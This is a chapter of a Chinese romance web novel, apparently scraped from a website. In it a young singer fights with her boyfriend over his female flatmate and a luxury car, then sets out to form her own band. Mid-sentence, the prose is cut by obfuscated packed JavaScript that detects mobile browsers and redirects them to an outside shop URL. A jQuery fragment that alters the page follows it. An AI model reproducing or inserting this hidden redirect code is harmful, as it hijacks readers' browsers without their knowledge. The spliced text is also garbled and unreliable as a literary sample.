池墨差点以为自己听错了。
许清漾眼里的迷茫和困惑,又不像演的。
池墨顿时气得一口气没喘上来。
“许清漾,谁教你忍气吞声的?”
许清漾抬手摸了摸鼻尖,声音小小的:“也、也不是忍气吞声,我也小发了一下火。我确实不知道男女合租的情况是不是很多,他说得好像也算合情理,所以我这不是……问问嘛。”
池墨冷笑:“那年你来北城,宁可顶着暴雪找酒店,也不住我的屋子,又是怎么想的?”
许清漾心虚的低下头。
“不说话了?”池墨问。
许清漾将头埋得更低。
大学有一年冬天,她去北城隔壁的城市参加演出。
演出结束后,她想去北城的海边玩玩,没有跟着其他人一起回去,独自一人去了北城。
池墨知道她要来,顶着大雪,开车来接她。
池墨说,现在雪太大,路不好走,让她留在他当时住的房子先将就一晚上,第二天帮她找酒店。
池墨当时在北城已经呆了两个多月,住的房子在市区,空间大也舒适,外出也方便。
可她怎么可能和池墨独处一室啊!
死活不肯进屋,闹着一定要找到酒店。
她说:“我现在长大了!孤男寡女不能睡在一起!我要去酒店!”
池墨没辙,提着她的行李箱,陪她顶着暴雪在白皑皑的街道上走了一路。
池墨深吸一口气,冷声道:“许清漾,不要做带着答案问问题的蠢事。”
许清漾闷声说。
“知道了。”
-
晚上十点。
许清漾拢了拢浴袍,从水汽氤氲的浴室走出来。
拿起放在洗漱台上的手机,拨通谢青阑的电话。
电话被秒接。
“清漾,你终于愿意理我了!”
“什么时候吃散伙饭,定好了么?”
许清漾问。
“你打电话来就只是问这个?”
谢青阑顿了下,加重语气。
“一天没联系了,你就不想我?说好了见面你也爽约了,打电话来就是问这个?清漾,我们之间除了乐队没有别的话题了吗?”
许清漾蹙眉:“你这质问的语气是什么意思?”
谢青阑:“我不可以生气吗?我们是情侣、恋人,一天没有联系,你打电话来不是撒娇说想我,也不是要跟我见面,而是问乐队的事,我不可以生气?”
这语气急得不像平时那个温柔体贴的男朋友。
倒像是心虚的、狗急跳墙的样子。
许清漾觉得莫名其妙:“那好,我问问别的。你朋友的房子找到了么?”
“……”
电话那头沉默了许久,才传来谢青阑的声音:“清漾,你现在怎么咄咄逼人的?”
“谢青阑,就事论事。”
许清漾也不和谢青阑虚与委蛇了,挑明了说。
“话回答不上来,问题也不去解决,你是打算拖到我不生气也不追究了,这事就这么算了?”
谢青阑被逼问得不耐烦了:“我说了,会尽快让她搬出去的,她房租也交了,我能怎么办?”
“你是没有毕业就业压力,住在家里,我们不是本地人想留在陌生城市有多辛苦你根本不知道!”
许清漾疑惑:“我逼你们了吗?我只是打电话来问散伙饭的时间而已。”
谢青阑也说不清自己为什么突然这么烦躁。
嘴唇微动,道歉的话到嘴边。
又听见许清漾说:“解散乐队的时候没和我商量,散伙饭不吃也罢。”
“和你商量有什么用?乐队的事你知道多少?和你说了又能改变什么?”
谢青阑语气透着疲惫。
“许清漾,你那辆跑车的事,我没跟你计较,不代表我不介意。那是谁送的,你自己心里清楚。我不想和你吵架,各自退一步,我不追究跑车的事,你也别咄咄逼人逼我了,你只要记住你是有男朋友的人就行了。”
许清漾突然问:“那你以为是谁送的呢?”
“所有人都知道,那车是南城富豪护送了一路的!”谢青阑几乎咬牙切齿道,“豪车护送南城独一辆的新款法拉利的照片和视频都传遍了!你说是邻居姐姐送的,你真以为我傻,好骗是吗?”
许清漾怒极反笑:“所以,你得出什么结论呢?”
“我不想跟你吵。”
“我们都冷静冷静吧,你也好好反省一下。”
说完,谢青阑先主动挂断了电话。
这还是他们在一起之后,谢青阑第一次主动挂电话。
每次通话,依依不舍、不愿意先挂断电话的人,都是谢青阑。
咄咄逼人。
冷静冷静。
她好好反省。
她需要反省什么吗?
跑车也好,合租也好,她自认处理得没问题。
-
“砰——”
一声巨大的摔门声。
谢青阑从房间里走出来,泄愤似的把手里的垃圾扔到客厅的垃圾桶里。
厨房接水的动静也格外大,手能碰到的地方,都被他砸得砰砰响。
徐莹莹余光瞥见,吃掉最后一片薯片,舔舔指尖,起身走过去。
“怎么了?又和她吵架了?”
谢青阑像是找到了出口。
“不知道她在发什么疯,揪着我和你合租这件事不放。”
徐莹莹轻拍着他的肩膀:“我知道,我也不想让你为难,但是合适的房子真不容易找到啊,我今天也看了一整天了。”
“你……”谢青阑揉揉眉心,欲言又止。
徐莹莹嗤笑:“行了,你也不用想着替她跟我道歉了,她不理解也正常,就我们这能力和家庭,这辈子估计都赚不到她那辆跑车的钱。”
谢青阑还想在徐莹莹面前维护女友的形象,想说,清漾不是拜金的捞女。
话到嘴边,脑海中浮现许清漾清亮的声线,冷笑嘲讽他,欺骗他,把他当傻子……
谢青阑狠狠咬紧后槽牙,忍住了。
徐莹莹今天给他看了网上别人拍到的照片和视频。
画面中,厢式货车内灯光明亮,气球和鲜花铺在亮粉色跑车周围点缀。
想不惹眼都难。
他查过那辆粉色跑车,是法拉利最新款,全球限量一百辆,南城仅这一辆。
造型独特漂亮,内饰更是奢华。
邻居姐姐送的,货车后跟着的却是一辆全南城的人都知道的南城池家专用的斯宾特。
“我太傻了……”
谢青阑颓然靠
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16963775|193358||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
着墙缓缓滑坐到地上。
“跑车绝不会是第一个礼物,他们一定早就认识了。”
徐莹莹陪着他蹲下来。
“我早就说过啊,她背过几次名牌包,有次我同学都看见她从豪车上下来了。我早提醒过你。”
“你还记得当初和我怎么说的么?你说,能上咱们学校的都不差钱,家里有个豪车也正常。呵,你还维护她呢。”
谢青阑摇摇头:“我太傻了……”
摇着晃着,就靠向了徐莹莹。
徐莹莹面颊一红,眼睛亮晶晶的。
语气却还维持着先前的心疼:“算了,反正你也舍不得和她分手。别难过了,我陪你喝一杯,怎么样?”
谢青阑:“……”
不拒绝,就是默认了。
徐莹莹眼里都带上了笑意。
“我陪你喝酒,那你就请我吃烧烤吧。”
-
谢青阑的冷静,持续了十多天。
这段时间,谢青阑几次想主动联系许清漾。
徐莹莹瞥见他的动摇,调侃道:“舔狗,又要去舔你的女神了?”
谢青阑恼羞成怒,扔了手机。
冷静的第十二天,晚上九点。
挨着打游戏的谢青阑坐着的徐莹莹,拿着手机用手肘碰了碰他的手臂。
“你今天和她联系了吗?”
谢青阑打游戏上头,听见徐莹莹的声音,却没过脑子。
“谁?”
“你女朋友啊,许清漾。”徐莹莹举着手机,挡在他手机前,“她把社交软件的ID改了,现在在招人一起搞乐队。”
谢青阑手指顿住,游戏里,他操控的小人也没了动作。
和他一样,呆了。
许清漾的账号,是他催促她创建的,ID前缀是他们乐队的名字。
如今,这个账号ID变成了“Yang”。
个签也不再是“Mose主唱”。
徐莹莹掩着笑到合不拢的嘴。
“ID换了,头像也换了。下一步该换你咯。”
-
谢青阑的乐队要解散,和她许清漾有什么关系?
在她们冷战的当晚,她脑子里反反复复都是谢青阑指责她的话。
一晚过去,她想明白了。
乐队解散已成定局,谢青阑不拿她当乐队成员,也不当她是亲密无间的恋人。
她可以毫无心理负担的做任何自己想做的决定了。
次日一早,许清漾在校友群里发信息,招募乐队成员。
许清漾大一入学,在军训上清唱了一首《春天的芭蕾》。
从那天起,关于她的话题就没少过。
无论是专业,还是后来作为乐队主唱的演出,都吸引了很多粉丝。
听说Mose乐队要解散,许清漾打算重新自己做一个乐队,很多学弟学妹都很关注。
有不少人自荐,给许清漾发来自己演奏乐器的视频。
流行乐的校友太多了,她想招募乐队成员这件事传开之后,每天来加她好友发视频面试的人多得数不过来。
光是看这些视频,就占据了她大部分的时间。
这十多天里,许清漾看了不少视频。
得出一个结论。
比谢青阑有才华的人,还有很多很多啊。